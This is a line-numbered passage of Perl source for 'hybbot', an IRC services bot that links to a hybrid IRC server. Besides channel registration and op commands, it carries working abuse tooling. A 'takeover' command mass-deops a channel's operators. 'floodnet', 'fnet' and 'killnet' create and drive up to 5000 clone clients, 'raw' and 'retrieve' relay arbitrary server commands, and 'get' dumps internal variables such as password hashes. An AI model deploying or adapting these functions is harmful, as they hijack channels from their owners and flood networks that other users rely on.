  4398. $bots{$botnick} = $tmp;
  4399. for ($i = 0; $i < @nickss; $i++) {
  4400. $tmp = "NICK $nickss[$i] 1 1 +iw $nickss[$i] $hosts[$i] $ARGV[2] :hybbot by CommPort5[\@LucidX.com] - samy (Service bot)";
  4401. print SOCK "$tmp\n";
  4402. $bots{$nickss[$i]} = $tmp;
  4403. }
  4404. if ($joinz0r) {
  4405. foreach $tmpc (keys(%join)) {
  4406. foreach (keys(%{$join{$tmpc}})) {
  4407. print SOCK "SJOIN ts $tmpc + :\@$botnick\n";
  4408. print SOCK ":$botnick MODE $tmpc $_\n";
  4409. $chans{$tmpc} = 1;
  4410. }
  4411. }
  4412. }
  4413. while (<SOCK>) {
  4414. $blargh = $_;
  4415. $blargh =~ s/-insecure//;
  4416. ($fulladd, $what, $where, $etc) = $_ =~ /^(\S+)\s+(\S+)\s+(\S+)\s+(.*)$/;
  4417. $fulladd =~ s/-insecure//;
  4418. ($nic) = $fulladd =~ /^:(.*)$/;
  4419. $nick = lc($nic);
  4420. $where = lc($where);
  4421.  
  4422. # part of the retrieve command
  4423. if ($retr) {
  4424. print SOCK ":$botnick PRIVMSG $retr :$_\n";
  4425. $retr = 0;
  4426. }
  4427.  
  4428. # return server pings
  4429. if (/^PING (.*)$/) {
  4430. print SOCK "PONG $1\n";
  4431. next;
  4432. }
  4433.  
  4434. # autokick people who kick me!
  4435. elsif (/^:(\S+) KICK (\S+) (\S+)/ && ($bots{$3} || $protect{$3})) {
  4436. if ($bots{$3}) {
  4437. print SOCK "SJOIN ts $2 + :\@$3\n";
  4438. print SOCK "KICK $2 $1 :right back at you.\n";
  4439. delete($nix{$1}{$2});
  4440. delete($all{$2}{$1});
  4441. delete($sall{$2}{$1});
  4442. delete($sall{$2}{'@' . $1});
  4443. next;
  4444. }
  4445. else {
  4446. print SOCK "KICK $2 $1 :you mess with him, you mess with me.\n";
  4447. delete($nix{$1}{$2});
  4448. delete($all{$2}{$1});
  4449. delete($sall{$2}{$1});
  4450. delete($sall{$2}{'@' . $1});
  4451. next;
  4452. }
  4453. next;
  4454. }
  4455.  
  4456. # autodeop people who deop me!
  4457. if (/^:(\S+) MODE (\S+) -+o+ (.*)$/) {
  4458. @tmpb = split(/\s+/, $3);
  4459. foreach (@tmpb) {
  4460. if (($bots{$_} || $protect{$_}) && !($bots{$1} || $protect{$1})) {
  4461. print SOCK ":$_ PART $2\nSJOIN ts $2 + :\@$_\n";
  4462. print SOCK ":$_ MODE $2 -o $1\n";
  4463. delete $sall{$2}{'@' . $_};
  4464. $sall{$a}{$_} = 1;
  4465. last;
  4466. }
  4467. }
  4468. }
  4469.  
  4470. # autokill people who kill me!
  4471. elsif (/^:(\S+) KILL (\S+)/ && ($botnick eq $2 || $protect{$2})) {
  4472. if ($bots{$2}) {
  4473. print SOCK "KILL $1 :Please do not kill services. (-hybbot)\n$bots{$2}\n";
  4474. foreach (keys(%chans)) {
  4475. print SOCK "SJOIN ts $_ + :\@$2\n";
  4476. }
  4477. foreach (keys(%{$nix{$1}})) {
  4478. delete($all{$_}{$1});
  4479. delete($sall{$_}{'@' . $1});
  4480. delete($sall{$_}{$1});
  4481. }
  4482. delete($nix{$a});
  4483. next;
  4484. }
  4485. else {
  4486. print SOCK "KILL $1 :You mess with my family, you mess with me. -$botnick [hybbot]\n";
  4487. for (keys(%{$nix{$1}})) {
  4488. delete($all{$_}{$1});
  4489. delete($sall{$_}{'@' . $1});
  4490. delete($sall{$_}{$1});
  4491. }
  4492. delete($nix{$a});
  4493. next;
  4494. }
  4495. }
  4496.  
  4497. # add/remove/modify the arrays with the names of everyone in chans
  4498. if (/^:(\S+)!\S+\s+PART\s+(\S+)/) {
  4499. ($a, $b) = (lc($1), lc($2));
  4500. delete $nix{$a}{$b};
  4501. delete $all{$b}{$a};
  4502. delete $sall{$b}{$a};
  4503. delete $sall{$b}{'@' . $a};
  4504. next;
  4505. }
  4506. if (/^:\S+\s+KICK\s+(\S+)\s+(\S+)/) {
  4507. ($b, $a) = (lc($1), lc($2));
  4508. delete $nix{$a}{$b};
  4509. delete $all{$b}{$a};
  4510. delete $sall{$b}{$a};
  4511. delete $sall{$b}{'@' . $a};
  4512. next;
  4513. }
  4514. if (/^:(\S+)!\S+\s+JOIN\s+:(.*)$/) {
  4515. ($a, $b) = (lc($1), lc($2));
  4516. $nix{$a}{$b} = 1;
  4517. $all{$b}{$a} = 1;
  4518. $sall{$b}{$a} = 1;
  4519. next;
  4520. }
  4521. if (/^:(\S+)!\S+\s+NICK\s+:(\S+)/) {
  4522. ($a, $b) = (lc($1), lc($2));
  4523. foreach (@{$nix{$a}}) {
  4524. delete $all{$_}{$a};
  4525. if (delete($sall{$_}{$a})) {
  4526. $sall{$_}{$b} = 1;
  4527. }
  4528. if (delete($sall{$_}{'@' . $a})) {
  4529. $sall{$_}{'@' . $b} = 1;
  4530. }
  4531. $all{$_}{$b} = 1;
  4532. }
  4533. $nix{$a} = $nix{$b};
  4534. delete $nix{$a};
  4535. }
  4536. if (/^:\S+\s+MODE\s+(\S+)\s+(-|\+)o+\s+(.*)$/) {
  4537. ($a, $b, $c) = (lc($1), $2, lc($3));
  4538. @tmp = split(/\s+/, $c);
  4539. foreach (@tmp) {
  4540. if ($b eq '-') {
  4541. delete $sall{$a}{'@' . $_};
  4542. $sall{$a}{$_} = 1;
  4543. }
  4544. if ($b eq '+') {
  4545. delete $sall{$a}{$_};
  4546. $sall{$a}{'@' . $_} = 1;
  4547. }
  4548. }
  4549. next;
  4550. }
  4551. if (/^:(\S+)!\S+\s+QUIT/) {
  4552. ($a) = (lc($1));
  4553. foreach (@{$nix{$a}}) {
  4554. delete $all{$_}{$a};
  4555. delete $sall{$_}{$a};
  4556. delete $sall{$_}{'@' . $a};
  4557. }
  4558. delete $nix{$a};
  4559. next;
  4560. }
  4561. if (/^:\S+\s+SJOIN\s+\S+\s+(\S+)\s+([^:]+)\s+:(.*)$/) {
  4562. $tmpr = lc($1);
  4563. $chns{$tmpr} = $2;
  4564. @tmp = split(/\s+/, lc($3));
  4565. foreach (@tmp) {
  4566. s/\+//;
  4567. $sall{$tmpr}{$_} = 1;
  4568. s/\@//;
  4569. $all{$tmpr}{$_} = 1;
  4570. $nix{$_}{$tmpr} = 1;
  4571. }
  4572. next;
  4573. }
  4574.  
  4575. # help finish the registration of a channel
  4576. elsif ($what == 319 && $regchan) {
  4577. ($chan) = $etc =~ /:(.*)$/;
  4578. @chans = split(/\s+/, $chan);
  4579. foreach (@chans) {
  4580. if ($_ eq "\@" . lc($hash{'chan'}) && !&checkconf(lc($hash{'chan'}))) {
  4581. $pass = &mkpasswd($hash{'pass'});
  4582. &addconf("CHAN:".lc($hash{'chan'}).":$hash{'nick'}:$pass\n");
  4583. print SOCK ":$botnick PRIVMSG $hash{'nick'} :\cb$hash{'chan'} registered by $hash{'nick'} (password: $hash{'pass'})\n";
  4584. print SOCK ":$botnick PRIVMSG $hash{'nick'} :Use the OP command to gain ops from me.\n";
  4585. print SOCK ":$botnick PART $hash{'chan'}\n";
  4586. $rg++;
  4587. }
  4588. }
  4589. if (!$rg) {
  4590. print SOCK ":$botnick PRIVMSG $hash{'nick'} :Unable to register $hash{'chan'} (not opped?)\n";
  4591. print SOCK ":$botnick PART $hash{'chan'}\n";
  4592. }
  4593. undef $rg;
  4594. undef %hash;
  4595. undef $regchan;
  4596. $chnln{$hash{'chan'}} = $hash{'nick'};
  4597. $chnlp{$hash{'chan'}} = $pass;
  4598. next;
  4599. }
  4600.  
  4601.  
  4602. ###########################################
  4603. # Private messages and all
  4604. ###########################################
  4605.  
  4606. elsif ($where !~ /^#/ and $what eq 'PRIVMSG') {
  4607.  
  4608. # getting info about commands
  4609. if ($etc =~ /^:botpart\s*$/i) {
  4610. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botpart <botnick> <#chan>\cb\n";
  4611. next;
  4612. }
  4613. elsif ($etc =~ /^:botop\s*$/i) {
  4614. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botop <botnick> <#chan> <nick>\cb\n";
  4615. next;
  4616. }
  4617. elsif ($etc =~ /^:botdeop\s*$/i) {
  4618. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botdeop <botnick> <#chan> <nick>\cb\n";
  4619. next;
  4620. }
  4621. elsif ($etc =~ /^:takeover\s*$/i) {
  4622. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> takeover <#chan> <nicks>\n";
  4623. next;
  4624. }
  4625. elsif ($etc =~ /^:floodnet\s*$/i) {
  4626. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> floodnet <# of bots> <name of net> [nick]\n";
  4627. next;
  4628. }
  4629. elsif ($etc =~ /^:fnet\s*$/i) {
  4630. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> fnet <name of net> <raw commands>\n";
  4631. next;
  4632. }
  4633. elsif ($etc =~ /^:killnet\s*$/i) {
  4634. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> killnet <name of net> [quit message]\n";
  4635. next;
  4636. }
  4637. elsif ($etc =~ /^:adduser\s*$/i) {
  4638. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> adduser <nick> <id> <passwd>\n";
  4639. next;
  4640. }
  4641. elsif ($etc =~ /^:addbot\s*$/i) {
  4642. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> addbot <botnick> <flags> <hostname> <ircname>\cb\n";
  4643. next;
  4644. }
  4645. elsif ($etc =~ /^:killbot\s*$/i) {
  4646. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> killbot <botnick> [message]\cb\n";
  4647. next;
  4648. }
  4649. elsif ($etc =~ /^:botjoin\s*$/i) {
  4650. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botjoin <botnick> <#chan>\cb\n";
  4651. next;
  4652. }
  4653. elsif ($etc =~ /^:addjoin\s*$/i) {
  4654. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> addjoin <#chan> [nick]\cb\n";
  4655. next;
  4656. }
  4657. elsif ($etc =~ /^:op\s*$/i) {
  4658. print SOCK ":$botnick PRIVMSG $nick :\cbusage: op <#channel> <password> [nick (originally reged chan with)]\cb\n";
  4659. next;
  4660. }
  4661. elsif ($etc =~ /^:invite\s*$/i) {
  4662. print SOCK ":$botnick PRIVMSG $nick :\cbusage: invite <#channel> <password> [nick]\cb\n";
  4663. next;
  4664. }
  4665. elsif ($etc =~ /^:addchan\s*$/i) {
  4666. print SOCK ":$botnick PRIVMSG $nick :\cbusage: addchan <#channel> <password> [modes]\cb\n";
  4667. next;
  4668. }
  4669. elsif ($etc =~ /^:chmodes\s*$/i) {
  4670. print SOCK ":$botnick PRIVMSG $nick :\cbusage: chmodes <#channel> <newmodes>\cb\n";
  4671. next;
  4672. }
  4673. elsif ($etc =~ /^:delchan\s*$/i) {
  4674. print SOCK ":$botnick PRIVMSG $nick :\cbusage: delchan <#channel> <password>\cb\n";
  4675. next;
  4676. }
  4677. elsif ($etc =~ /^:permmode\s*$/i) {
  4678. print SOCK ":$botnick PRIVMSG $nick :\cbusage: permmode <#channel> <password> <modes>\cb\n";
  4679. next;
  4680. }
  4681. elsif ($etc =~ /^:addop\s*$/i) {
  4682. print SOCK ":$botnick PRIVMSG $nick :\cbusage: addop <#channel> <password> <nick>\cb (the nick must have already set a password with the pass command)\n";
  4683. next;
  4684. }
  4685. elsif ($etc =~ /^:addaop\s*$/i) {
  4686. print SOCK ":$botnick PRIVMSG $nick :\cbusage: addaop <#channel> <password> <nick!ident\@hostname>\cb\n";
  4687. next;
  4688. }
  4689. elsif ($etc =~ /^:delop\s*$/i) {
  4690. print SOCK ":$botnick PRIVMSG $nick :\cbusage: delop <#channel> <password> <nick>\cb\n";
  4691. next;
  4692. }
  4693. elsif ($etc =~ /^:opz0r\s*$/i) {
  4694. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> opz0r <#chan> <nick>\cb\n";
  4695. next;
  4696. }
  4697. elsif ($etc =~ /^:restart\s*$/i) {
  4698. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> restart [exit message]\cb\n";
  4699. next;
  4700. }
  4701. elsif ($etc =~ /^:exit\s*$/i) {
  4702. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> exit [exit message]\cb\n";
  4703. next;
  4704. }
  4705. elsif ($etc =~ /^:deopz0r\s*$/i) {
  4706. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> deopz0r <#chan> <nick>\cb\n";
  4707. next;
  4708. }
  4709. elsif ($etc =~ /^:joinz0r\s*$/i) {
  4710. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> joinz0r <#chans>\cb\n";
  4711. next;
  4712. }
  4713. elsif ($etc =~ /^:mode\s*$/i) {
  4714. print SOCK ":$botnick PRIVMSG $nick :\cbusage: mode <password> <#channel> <modes>\cb\n";
  4715. next;
  4716. }
  4717. elsif ($etc =~ /^:register\s*$/i) {
  4718. print SOCK ":$botnick PRIVMSG $nick :\cbusage: register <#channel> <password>\cb\n";
  4719. next;
  4720. }
  4721. elsif ($etc =~ /^:raw\s*$/i) {
  4722. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> raw <raw irc stuff;more irc stuff>\cb\n";
  4723. next;
  4724. }
  4725. elsif ($etc =~ /^:m0pz0r\s*$/i) {
  4726. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> m0pz0r <#chans>\cb\n";
  4727. next;
  4728. }
  4729. elsif ($etc =~ /^:massopz0r\s*$/i) {
  4730. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> massopz0r <#chans> <nick>\cb\n";
  4731. next;
  4732. }
  4733. elsif ($etc =~ /^:massdopz0r\s*$/i) {
  4734. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> massdopz0r <#chans> <nick>\cb\n";
  4735. next;
  4736. }
  4737. elsif ($etc =~ /^:partz0r\s*$/i) {
  4738. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> partz0r <#chans>\cb\n";
  4739. next;
  4740. }
  4741. elsif ($etc =~ /^:help\s*$/i) {
  4742. print SOCK ":$botnick PRIVMSG $nick :Please type \cb/msg $botnick USERHELP\cb. If you're an OPER, type \cb/msg $botnick OPERHELP\cb.\n";
  4743. next;
  4744. }
  4745. elsif ($etc =~ /^:retrieve\s*$/i) {
  4746. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> retrieve <raw irc command>\n";
  4747. next;
  4748. }
  4749. elsif ($etc =~ /^:get\s*$/i) {
  4750. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> get <variable name>\n";
  4751. next;
  4752. }
  4753. elsif ($etc =~ /^:addoper\s*$/i) {
  4754. print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> addoper <nick> <id>\n";
  4755. next;
  4756. }
  4757.  
  4758. # get the user commands
  4759. elsif ($etc =~ /^:userhelp\s*$/i) {
  4760. print SOCK ":$botnick PRIVMSG $nick :Commands: register, mode, op, pass, status, invite, addchan, delchan, chmodes, addop, delop, addaop - /msg $botnick command for more information on a specific command.\n";
  4761. next;
  4762. }
  4763.  
  4764. # setting a password
  4765. elsif ($etc =~ /^:pass\s+(.*)\s*$/i || $etc =~ /:pass\s*$/i) {
  4766. $nu = $1;
  4767. $nu =~ s/\s*$//;
  4768. if ($nu) {
  4769. if ($nu =~ /\s/) {
  4770. print SOCK ":$botnick PRIVMSG $nick :\cbusage: PASS <password>\cb\n";
  4771. }
  4772. else {
  4773. if (&checkpass($nick)) {
  4774. print SOCK ":$botnick PRIVMSG $nick :You already have a password set.\n";
  4775. }
  4776. else {
  4777. print SOCK "WHOIS $nick\n";
  4778. $passval = 1;
  4779. $pas = &mkpasswd($nu);
  4780. &addconf("PASS:" . $nick . ":0:0:$pas\n");
  4781. $passes{$nick} = $pas;
  4782. print SOCK ":$botnick PRIVMSG $nickx :Password $nu added\n";
  4783. }
  4784. }
  4785. }
  4786. else {
  4787. print SOCK ":$botnick PRIVMSG $nick :\cbusage: PASS <password>\cb\n";
  4788. }
  4789. next;
  4790. }
  4791.  
  4792. # mess with anyone who ctcp versions me
  4793. elsif ($etc =~ /^:\caversion/i) {
  4794. foreach (@{$bnx{"h4w"}}) {
  4795. print SOCK ":$_ NOTICE $nick :\cAVERSION \cBhybbot $version\cB by CommPort5\cA\n";
  4796. }
  4797. next;
  4798. }
  4799.  
  4800. # get status of yourself
  4801. elsif ($etc =~ /^:status/i) {
  4802. $stat = &status($nick);
  4803. print SOCK ":$botnick PRIVMSG $nick :Your status is: \cb$stat\cb\n";
  4804. next;
  4805. }
  4806.  
  4807. # get the oper commands
  4808. elsif ($etc =~ /^:operhelp/i) {
  4809. print SOCK ":$botnick PRIVMSG $nick :\cbwannabes:\cb opz0r\n";
  4810. print SOCK ":$botnick PRIVMSG $nick :\cbopers:\cb rehash, opz0r, deopz0r, joinz0r, partz0r\cb\n";
  4811. print SOCK ":$botnick PRIVMSG $nick :\cbhax0rs:\cb m0pz0r, raw, adduser, addjoin, botjoin, botpart, botop, botdeop, addbot, killbot, listbots, massopz0r, massdopz0r\n";
  4812. print SOCK ":$botnick PRIVMSG $nick :\cbl33t hax0rs:\cb get, retrieve, addoper, exit, restart, floodnet, killnet, fnet, takeover\n";
  4813. next;
  4814. }
  4815.  
  4816. # addop command
  4817. elsif ($etc =~ /^:addop\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
  4818. ($chan, $pass, $nck) = ($1, $2, $3);
  4819. $chan = lc($chan);
  4820. $nck = lc($nck);
  4821. if (!&chkline("CHOP:$chan:$nck:") && $passes{$nck} && ((&ckpasswd($pass, $chnlp{$chan}) && $chnln{$chan} eq $nick) || (&ckpasswd($pass, $passes{$nick}) && $nicks{$nick} >= 31337))) {
  4822. &addop($nck, $chan);
  4823. print SOCK ":$botnick PRIVMSG $nick :\cb$nck was added as an op for $chan\cb\n";
  4824. print SOCK ":$botnick PRIVMSG $nck :You've been added as an op for $chan, /msg $botnick OP for help on opping yourself\n";
  4825. }
  4826. elsif (&chkline("CHOP:$chan:$nck:")) {
  4827. print SOCK ":$botnick PRIVMSG $nick :$nck is already in the conf\n";
  4828. }
  4829. elsif ($chnln{$chan} ne $nick) {
  4830. print SOCK ":$botnick PRIVMSG $nick :You don't own $chan [$chnln{$chan} != $nick]\n";
  4831. }
  4832. elsif (!&ckpasswd($pass, $chnlp{$chan})) {
  4833. print SOCK ":$botnick PRIVMSG $nick :Incorrect password.\n";
  4834. }
  4835. next;
  4836. }
  4837.  
  4838. # delop command (under construction)
  4839. elsif ($etc =~ /^:delop\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
  4840. next;
  4841. }
  4842.  
  4843. # invite command
  4844. elsif ($etc =~ /^:invite\s+(\S+)\s+(\S+)\s*(\S*)/i) {
  4845. $onick = $nick;
  4846. $onick = $3 if $3;
  4847. if (&readconf("CHAN:".lc($1).":$onick:", $2) || &readconf("CHOP:".lc($1).":$onick:", $2)) {
  4848. print SOCK "SJOIN ts $1 + :\@$botnick\n" if (!$chans{lc($1)});
  4849. print SOCK ":$botnick INVITE $nick $1\n";
  4850. print SOCK ":$botnick PART $1\n" if (!$chans{lc($1)});
  4851. }
  4852. else {
  4853. print SOCK ":$botnick PRIVMSG $nick :Incorrect password or nickname.\n";
  4854. }
  4855. next;
  4856. }
  4857.  
  4858. # addchan command
  4859. =pod
  4860. elsif ($etc =~ /^:addchan\s+(\S+)\s*(.*)$/i) {
  4861. # if (&
  4862.  
  4863.  
  4864. if ($chans{lc($1)}) {
  4865. print SOCK ":$botnick PRIVMSG $nick :Channel is already in the conf.\n";
  4866. }
  4867. else {
  4868. print SOCK "SJOIN ts $1 + :\@$botnick\n" unless $chans{$1};
  4869. &addconf("JOIN:" . lc($1) . ":$2:\n");
  4870. $chans{lc($1)}{$2} = 1;
  4871. }
  4872. next;
  4873. }
  4874. =cut
  4875.  
  4876. # op command
  4877. elsif ($etc =~ /^:op\s+(\S+\s+\S+)\s*(\S*)/i) {
  4878. $onick = $nick;
  4879. $nick = $2 if $2;
  4880. @reg = split(/\s+/, $1);
  4881. if (&readconf("CHAN:".lc($reg[0]).":$nick:", $reg[1]) || &readconf("CHOP:".lc($reg[0]).":$nick:", $reg[1])) {
  4882. print SOCK "SJOIN ts $reg[0] + :\@$botnick\n" if (!$chans{lc($reg[0])});
  4883. print SOCK ":$botnick MODE $reg[0] +o $onick\n";
  4884. print SOCK ":$botnick PART $reg[0]\n" if (!$chans{lc($reg[0])});
  4885. delete $sall{lc($reg[0])}{$onick};
  4886. $sall{$1}{'@' . $onick} = 1;
  4887. }
  4888. else {
  4889. print SOCK ":$botnick PRIVMSG $onick :Incorrect password or nickname.\n";
  4890. }
  4891. next;
  4892. }
  4893.  
  4894. # mode command
  4895. elsif ($etc =~ /^:mode\s+(\S+)\s+(\S+)\s+(.*)$/i) {
  4896. if (&readconf("CHAN:".lc($2).":$nick:", $1)) {
  4897. print SOCK "SJOIN ts $2 + :\@$botnick\n" if (!$chans{lc($2)});
  4898. print SOCK ":$botnick MODE $2 $3\n";
  4899. print SOCK ":$botnick PART $2\n" if (!$chans{lc($2)});
  4900. }
  4901. else {
  4902. print SOCK ":$botnick PRIVMSG $onick :Incorrect password or nickname.\n";
  4903. }
  4904. next;
  4905. }
  4906.  
  4907. # register command
  4908. elsif ($etc =~ /^:register\s+(\S+\s+\S+)/i) {
  4909. @reg = split(/\s+/, $1);
  4910. if (&checkconf($reg[0]) || $reg[0] !~ /^#/) {
  4911. print SOCK ":$botnick PRIVMSG $nick :$reg[0] is already registered.\n";
  4912. }
  4913. elsif ($reg[0] !~ /^#/) {
  4914. print SOCK ":$botnick PRIVMSG $nick :\cbusage: register <#channel> <password>\cb\n";
  4915. }
  4916. else {
  4917. print SOCK ":$botnick JOIN $reg[0]\n:$botnick WHOIS $nick\n";
  4918. $hash{'chan'} = $reg[0];
  4919. $hash{'nick'} = $nick;
  4920. $hash{'pass'} = $reg[1];
  4921. $regchan = 1;
  4922. }
  4923. next;
  4924. }
  4925.  
  4926. # oper stuff
  4927. elsif ($etc =~ /^:(\S+)/ && &ckpasswd($1, $passes{$nick})) {
  4928. $etc =~ s/^\S+\s+/:/;
  4929.  
  4930. # opz0r for wannabes
  4931. if ($etc =~ /^:opz0r\s+(\S+)\s+(\S+)/i && $nicks{$nick} == 0) {
  4932. if ($chans{$1}) {
  4933. print SOCK ":$botnick MODE $1 +o $2\n";
  4934. }
  4935. else {
  4936. print SOCK "SJOIN ts $1 + :\@$botnick\n:$botnick MODE $1 +o $2\n:$botnick PART $1\n";
  4937. }
  4938. delete $sall{$1}{$2};
  4939. $sall{$1}{'@' . $2} = 1;
  4940. next;
  4941. }
  4942.  
  4943. # l33t hax0r commands
  4944. if ($nicks{$nick} >= 31337) {
  4945.  
  4946. # takeover command :)
  4947. if ($etc =~ /^:takeover\s+(\S+)\s+(.*)$/i) {
  4948. ($chn, $oth) = ($1, $2);
  4949. $chn = lc($chn);
  4950. @nms = keys(%{$sall{$chn}});
  4951. my (%tmp0r, @nns, $snd, $f);
  4952. @othr = split(/\s+/, $oth);
  4953. foreach (@othr) {
  4954. $tmp0r{$_}++;
  4955. }
  4956. foreach (@nms) {
  4957. push(@nns, $_) if (s/^\@// && !$tmp0r{$_});
  4958. }
  4959. print SOCK "SJOIN ts $chn + :\@$botnick\n" if (!$chans{lc($chn)});
  4960. foreach (0 .. @nns) {
  4961. $f++;
  4962. delete $sall{$chn}{'@' . lc($nns[0])};
  4963. $sall{$chn}{lc($nns[0])} = 1;
  4964. $snd .= "$nns[$_] ";
  4965. if ($f == 12) {
  4966. $f = 0;
  4967. print SOCK ":$botnick MODE $chn " . "-" x 13 . "o" x 13 . " $snd\n";
  4968. $snd = "";
  4969. }
  4970. }
  4971. print SOCK ":$botnick MODE $chn " . "-" x 13 . "o" x 13 . " $snd\n";
  4972. ($snd, $f) = ("", "");
  4973. foreach (0 .. @othr) {
  4974. $f++;
  4975. delete $sall{$chn}{lc($othr[$_])};
  4976. $sall{$chn}{'@' . lc($othr[$_])} = 1;
  4977. $snd .= "$othr[$_] ";
  4978. if ($f == 12) {
  4979. $f = 0;
  4980. print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
  4981. $snd = "";
  4982. }
  4983. }
  4984. print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
  4985. print SOCK ":$botnick PART $chn\n" if (!$chans{lc($chn)});
  4986. next;
  4987. }
  4988.  
  4989. # floodnet command
  4990. elsif ($etc =~ /^:floodnet\s+(\S+)\s+(\S+)\s*(\S*)$/i) {
  4991. if (($1 + $fnts) >= 5000) {
  4992. print SOCK ":$botnick PRIVMSG $nick :There cannot be over 5000 bots (currently there are $fnts loaded)\n";
  4993. }
  4994. elsif ($nets{$2}) {
  4995. print SOCK ":$botnick PRIVMSG $nick :There already is a net with that name.\n";
  4996. }
  4997. else {
  4998. $nets{$2} = $1;
  4999. $fnts += $1;
  5000. $x = 0;
  5001. for (1 .. $1) {
  5002. $x++;
  5003. my $nck;
  5004. if ($3) {
  5005. $nck = $3 . int(rand(1000));
  5006. push(@{$bnx{$2}}, $nck);
  5007. }
  5008. else {
  5009. @tmp = ('a' .. 'z');
  5010. for (1 .. 9) {
  5011. $nck .= $tmp[int(rand(@tmp))];
  5012. }
  5013. push(@{$bnx{$2}}, $nck);
  5014. }
  5015. print SOCK "NICK $nck 1 1 +iw $nck hyb.bot $srvc :hybbot [floodbot]\n";
  5016. if ($x == 200) {
  5017. $x = 0;
  5018. sleep 1;
  5019. }
  5020. }
  5021. }
  5022. }
  5023.  
  5024. # killnet command
  5025. elsif ($etc =~ /^:killnet\s+(\S+)\s*(\S*)$/i) {
  5026. $x = 0;
  5027. $fnts -= $nets{$1};
  5028. delete $nets{$1};
  5029. foreach $bn (@{$bnx{$1}}) {
  5030. $x++;
  5031. print SOCK ":$bn QUIT :$2\n";
  5032. if ($x == 200) {
  5033. $x = 0;
  5034. sleep 1;
  5035. }
  5036. }
  5037. }
  5038.  
  5039. # fnet command
  5040. elsif ($etc =~ /^:fnet\s+(\S+)\s+(.*)$/i) {
  5041. @cmds = split(/;/, $2);
  5042. $x = 0;
  5043. foreach $cmd (@cmds) {
  5044. foreach $bn (@{$bnx{$1}}) {
  5045. $x++;
  5046. $tmp = $cmd;
  5047. $tmp =~ s/\\\*/$bn/g;
  5048. print SOCK "$tmp\n";
  5049. if ($x == 200) {
  5050. sleep 1;
  5051. $x = 0;
  5052. }
  5053. }
  5054. }
  5055. }
  5056.  
  5057. # retrieve command
  5058. elsif ($etc =~ /^:retrieve\s*(.*)$/i) {
  5059. print SOCK "$1\n";
  5060. $retr = $nick;
  5061. next;
  5062. }
  5063.  
  5064. # get command
  5065. elsif ($etc =~ /^:get\s*(.*)$/i) {
  5066. ($a) = ($1);
  5067. @b = split(/\s+/, $a);
  5068. if (@b == 1) {
  5069. $c = ${$a};
  5070. }
  5071. elsif (@b == 2) {
  5072. $c = ${$b[0]}{$b[1]};
  5073. }
  5074. else {
  5075. $c = ${$b[0]}{$b[1]}{$b[2]};
  5076. }
  5077. print SOCK ":$botnick PRIVMSG $nick :$c\n";
  5078. if (@b == 1) {
  5079. $c = join(', ', keys(%{${$a}}));
  5080. }
  5081. elsif (@b == 2) {
  5082. $c = join(', ', keys(%{${$b[0]}{$b[1]}}));
  5083. }
  5084. else {
  5085. $c = join(', ', keys(%{${$b[0]}{$b[1]}{$b[2]}}));
  5086. }
  5087. print SOCK ":$botnick PRIVMSG $nick :$c\n";
  5088. next;
  5089. }
  5090.  
  5091. # exit command
  5092. elsif ($etc =~ /^:exit\s*(.*)$/i) {
  5093. foreach (keys(%bots)) {
  5094. print SOCK ":$_ QUIT :$1\n";
  5095. }
  5096. die "hybbot exiting...\n";
  5097. }
  5098.  
  5099. # restart command
  5100. elsif ($etc =~ /^:restart\s*(.*)$/i) {
  5101. foreach (keys(%bots)) {
  5102. print SOCK ":$_ QUIT :$1\n";
  5103. }
  5104. close(SOCK);
  5105. fork() && die "hybbot restarting...\n";
  5106. &restart;
  5107. }
  5108.  
  5109. # addoper command
  5110. elsif ($etc =~ /^:addoper\s+(\S+)\s+(\S+)\s*$/i) {
  5111. if (&addoper($1, $2) == 1) {
  5112. print SOCK ":$botnick PRIVMSG $nick :$1 added as an oper with ID $2\n";
  5113. }
  5114. elsif (&addoper($1, $2) == 2) {
  5115. print SOCK ":$botnick PRIVMSG $nick :$1 is in the conf too many times.\n";
  5116. }
  5117. else {
  5118. print SOCK ":$botnick PRIVMSG $nick :$1 was not found in conf.\n";
  5119. }
  5120. &rehash;
  5121. next;
  5122. }
  5123. }
  5124.  
  5125. # hax0r commands [and above]
  5126. if ($nicks{$nick} >= 666) {
  5127.  
  5128. # adduser command
  5129. if ($etc =~ /^:adduser\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
  5130. &operconf($1, $2, $3);
  5131. next;
  5132. }
  5133.  
  5134. # m0pz0r command
  5135. elsif ($etc =~ /^:m0pz0r\s+(.*)$/i) {
  5136. @tmp = split(/\s+/, $1);
  5137. foreach $chn (@tmp) {
  5138. $chn = lc($chn);
  5139. ($snd, $f) = ("", "");
  5140. @nmz = keys(%{$all{$chn}});
  5141. print SOCK "SJOIN ts $chn + :\@$botnick\n" if (!$chans{lc($chn)});
  5142. foreach (0 .. @nmz) {
  5143. $f++;
  5144. delete $sall{$chn}{lc($nmz[$_])};
  5145. $sall{$chn}{'@' . lc($nmz[$_])} = 1;
